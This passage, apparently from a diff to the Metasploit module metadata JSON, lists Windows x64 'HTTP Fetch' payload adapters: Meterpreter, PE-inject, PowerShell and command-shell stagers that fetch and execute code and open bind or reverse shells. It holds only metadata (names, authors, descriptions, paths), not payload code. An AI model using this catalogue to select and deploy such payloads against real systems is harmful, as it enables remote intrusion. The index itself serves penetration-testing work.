+ "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for a connection with UUID Support (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/meterpreter/reverse_http": { + "name": "HTTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter/reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/meterpreter/reverse_https": { + "name": "HTTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves", + "hdm ", + "agix", + "rwincey" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter/reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/meterpreter/reverse_named_pipe": { + "name": "HTTP Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", + "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker via a named pipe pivot", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter/reverse_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/meterpreter/reverse_tcp": { + "name": "HTTP Fetch, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/meterpreter/reverse_tcp_rc4": { + "name": "HTTP Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves", + "hdm ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter/reverse_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/meterpreter/reverse_tcp_uuid": { + "name": "HTTP Fetch, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker with UUID Support (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/meterpreter/reverse_winhttp": { + "name": "HTTP Fetch, Windows x64 Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_winhttp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nTunnel communication over HTTP (Windows x64 winhttp)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter/reverse_winhttp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/meterpreter/reverse_winhttps": { + "name": "HTTP Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", + "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_winhttps", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter/reverse_winhttps", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/peinject/bind_ipv6_tcp": { + "name": "HTTP Fetch, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/http/x64/peinject/bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for an IPv6 connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/peinject/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/peinject/bind_ipv6_tcp_uuid": { + "name": "HTTP Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/http/x64/peinject/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/peinject/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/peinject/bind_named_pipe": { + "name": "HTTP Fetch, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/http/x64/peinject/bind_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "UserExistsError" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for a pipe connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/peinject/bind_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/peinject/bind_tcp": { + "name": "HTTP Fetch, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/http/x64/peinject/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for a connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/peinject/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/peinject/bind_tcp_rc4": { + "name": "HTTP Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/http/x64/peinject/bind_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "hdm ", + "skape ", + "sf ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/peinject/bind_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/peinject/bind_tcp_uuid": { + "name": "HTTP Fetch, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/http/x64/peinject/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for a connection with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/peinject/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/peinject/reverse_named_pipe": { + "name": "HTTP Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", + "fullname": "payload/cmd/windows/http/x64/peinject/reverse_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker via a named pipe pivot", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/peinject/reverse_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/peinject/reverse_tcp": { + "name": "HTTP Fetch, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/http/x64/peinject/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/peinject/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/peinject/reverse_tcp_rc4": { + "name": "HTTP Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/http/x64/peinject/reverse_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "hdm ", + "skape ", + "sf ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/peinject/reverse_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/peinject/reverse_tcp_uuid": { + "name": "HTTP Fetch, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/http/x64/peinject/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/peinject/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/pingback_reverse_tcp": { + "name": "HTTP Fetch, Windows x64 Pingback, Reverse TCP Inline", + "fullname": "payload/cmd/windows/http/x64/pingback_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to attacker and report UUID (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/pingback_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/powershell_bind_tcp": { + "name": "HTTP Fetch", + "fullname": "payload/cmd/windows/http/x64/powershell_bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Ben Turner", + "Dave Hardy", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server", + "references": [ + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/powershell_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/powershell_reverse_tcp": { + "name": "HTTP Fetch", + "fullname": "payload/cmd/windows/http/x64/powershell_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Ben Turner", + "Dave Hardy", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server", + "references": [ + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/powershell_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/powershell_reverse_tcp_ssl": { + "name": "HTTP Fetch", + "fullname": "payload/cmd/windows/http/x64/powershell_reverse_tcp_ssl", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Ben Turner", + "Dave Hardy", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server", + "references": [ + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/powershell_reverse_tcp_ssl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/shell/bind_ipv6_tcp": { + "name": "HTTP Fetch, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/http/x64/shell/bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/shell/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/shell/bind_ipv6_tcp_uuid": { + "name": "HTTP Fetch, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/http/x64/shell/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/shell/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/shell/bind_named_pipe": { + "name": "HTTP Fetch, Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/http/x64/shell/bind_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "UserExistsError" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a pipe connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/shell/bind_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/shell/bind_tcp": { + "name": "HTTP Fetch, Windows x64 Command Shell, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/http/x64/shell/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/shell/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/shell/bind_tcp_rc4": { + "name": "HTTP Fetch, Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/http/x64/shell/bind_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "hdm ", + "skape ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/shell/bind_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/shell/bind_tcp_uuid": { + "name": "HTTP Fetch, Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/http/x64/shell/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/shell/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/shell/reverse_tcp": { + "name": "HTTP Fetch, Windows x64 Command Shell, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/http/x64/shell/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/shell/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/shell/reverse_tcp_rc4": { + "name": "HTTP Fetch, Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/http/x64/shell/reverse_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "hdm ", + "skape ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/shell/reverse_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/shell/reverse_tcp_uuid": { + "name": "HTTP Fetch, Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/http/x64/shell/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http 